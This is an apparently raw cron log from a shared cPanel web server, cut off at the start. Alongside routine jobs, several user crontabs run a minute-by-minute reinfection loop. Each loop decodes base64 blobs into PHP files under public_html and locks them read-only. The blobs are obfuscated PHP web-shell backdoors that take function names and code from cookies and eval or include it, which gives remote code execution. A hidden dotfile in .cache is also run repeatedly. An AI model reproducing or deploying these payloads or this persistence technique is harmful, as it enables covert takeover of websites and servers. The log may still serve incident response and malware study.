SA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:22:01 medusa CROND[7804]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:22:01 medusa CROND[7806]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:22:01 medusa CROND[7807]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:22:01 medusa CROND[7814]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 04:22:01 medusa CROND[7815]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:22:01 medusa CROND[7813]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:22:01 medusa CROND[7816]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:22:01 medusa CROND[7812]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:23:01 medusa CROND[30654]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:23:01 medusa CROND[30655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:23:01 medusa CROND[30656]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 04:23:01 medusa CROND[30657]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:23:01 medusa CROND[30660]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:23:01 medusa CROND[30664]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:23:01 medusa CROND[30665]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:23:01 medusa CROND[30669]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:23:01 medusa CROND[30670]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:23:01 medusa CROND[30671]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:23:01 medusa CROND[30672]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:23:01 medusa CROND[30678]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:24:01 medusa CROND[22044]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:24:01 medusa CROND[22047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:24:01 medusa CROND[22049]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:24:01 medusa CROND[22051]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:24:01 medusa CROND[22052]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:24:01 medusa CROND[22053]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:24:01 medusa CROND[22054]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 04:24:01 medusa CROND[22056]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
